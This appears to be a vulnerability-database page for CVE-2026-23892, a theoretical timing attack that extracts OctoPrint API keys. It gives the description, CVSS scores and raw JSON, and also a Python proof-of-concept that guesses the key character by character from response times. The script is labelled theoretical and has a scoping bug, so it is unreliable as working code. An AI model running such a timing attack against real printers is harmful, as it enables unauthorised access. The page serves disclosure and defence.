Security Vulnerability Report
中文
CVE-2026-23892 CVSS 5.9 MEDIUM

CVE-2026-23892

Published: 2026-01-27 19:16:16
Last Modified: 2026-02-02 14:39:37

Description

OctoPrint provides a web interface for controlling consumer 3D printers. OctoPrint versions up to and including 1.11.5 are affected by a (theoretical) timing attack vulnerability that allows API key extraction over the network. Due to using character based comparison that short-circuits on the first mismatched character during API key validation, rather than a cryptographical method with static runtime regardless of the point of mismatch, an attacker with network based access to an affected OctoPrint could extract API keys valid on the instance by measuring the response times of the denied access responses and guess an API key character by character. The vulnerability is patched in version 1.11.6. The likelihood of this attack actually working is highly dependent on the network's latency, noise and similar parameters. An actual proof of concept was not achieved so far. Still, as always administrators are advised to not expose their OctoPrint instance on hostile networks, especially not on the public Internet.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:octoprint:octoprint:*:*:*:*:*:*:*:* - VULNERABLE
OctoPrint <= 1.11.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-23892 Timing Attack PoC (Theoretical) # This PoC demonstrates the timing attack concept against OctoPrint API key validation # Note: Actual exploitation requires controlled network conditions and statistical analysis import requests import time import statistics from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://target-octoprint:5000/api" KNOWN_PREFIX = "" # Start empty, build character by character CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" def test_api_key(api_key): """Send a test request with the given API key and measure response time.""" headers = {"X-Api-Key": api_key} start = time.perf_counter() try: response = requests.get(f"{TARGET_URL}/files", headers=headers, timeout=5) except: pass end = time.perf_counter() return end - start def measure_timing(api_key, samples=20): """Measure average response time for multiple requests.""" times = [] for _ in range(samples): t = test_api_key(api_key) times.append(t) time.sleep(0.1) # Small delay between requests return statistics.mean(times) def find_next_char(current_prefix): """Find the next character in the API key using timing differences.""" timings = {} for char in CHARSET: test_key = current_prefix + char avg_time = measure_timing(test_key) timings[char] = avg_time print(f"Testing '{char}': avg time = {avg_time:.6f}s") # Find character with longest average response time # (assuming correct prefix results in longer comparison time) best_char = max(timings, key=timings.get) return best_char def crack_api_key(max_length=32): """Attempt to crack the API key character by character.""" api_key = KNOWN_PREFIX for i in range(max_length): next_char = find_next_char(api_key) api_key += next_char print(f"Progress: {api_key}") # Check if we've completed the key (no timing difference) if i > 0 and timings[next_char] < 0.001: break return api_key # Example defensive check: verify if target is vulnerable def check_vulnerability(): """Check if OctoPrint uses constant-time comparison.""" print("Checking for timing vulnerabilities...") # This would require comparing response times for keys that # match/don't match at different positions pass if __name__ == "__main__": print("CVE-2026-23892 - OctoPrint Timing Attack PoC") print("Warning: This is a theoretical demonstration") print("Actual exploitation requires significant network control") # crack_api_key()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23892", "sourceIdentifier": "[email protected]", "published": "2026-01-27T19:16:16.027", "lastModified": "2026-02-02T14:39:36.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OctoPrint provides a web interface for controlling consumer 3D printers. OctoPrint versions up to and including 1.11.5 are affected by a (theoretical) timing attack vulnerability that allows API key extraction over the network. Due to using character based comparison that short-circuits on the first mismatched character during API key validation, rather than a cryptographical method with static runtime regardless of the point of mismatch, an attacker with network based access to an affected OctoPrint could extract API keys valid on the instance by measuring the response times of the denied access responses and guess an API key character by character. The vulnerability is patched in version 1.11.6. The likelihood of this attack actually working is highly dependent on the network's latency, noise and similar parameters. An actual proof of concept was not achieved so far. Still, as always administrators are advised to not expose their OctoPrint instance on hostile networks, especially not on the public Internet."}, {"lang": "es", "value": "OctoPrint proporciona una interfaz web para controlar impresoras 3D de consumo. Las versiones de OctoPrint hasta la 1.11.5 inclusive están afectadas por una vulnerabilidad (teórica) de ataque de temporización que permite la extracción de claves API a través de la red. Debido al uso de una comparación basada en caracteres que se interrumpe en el primer carácter no coincidente durante la validación de la clave API, en lugar de un método criptográfico con tiempo de ejecución estático independientemente del punto de no coincidencia, un atacante con acceso basado en red a una instancia de OctoPrint afectada podría extraer claves API válidas en la instancia midiendo los tiempos de respuesta de las respuestas de acceso denegado y adivinar una clave API carácter por carácter. La vulnerabilidad está parcheada en la versión 1.11.6. La probabilidad de que este ataque funcione realmente depende en gran medida de la latencia, el ruido y parámetros similares de la red. Una prueba de concepto real no se ha logrado hasta ahora. Aun así, como siempre, se aconseja a los administradores que no expongan su instancia de OctoPrint en redes hostiles, especialmente no en la Internet pública."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-208"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:octoprint:octoprint:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.11.6", "matchCriteriaId": "4936F1B5-7DD9-449F-AB98-64CDF0719211"}]}]}], "references": [{"url": "https://github.com/OctoPrint/OctoP ... (truncated)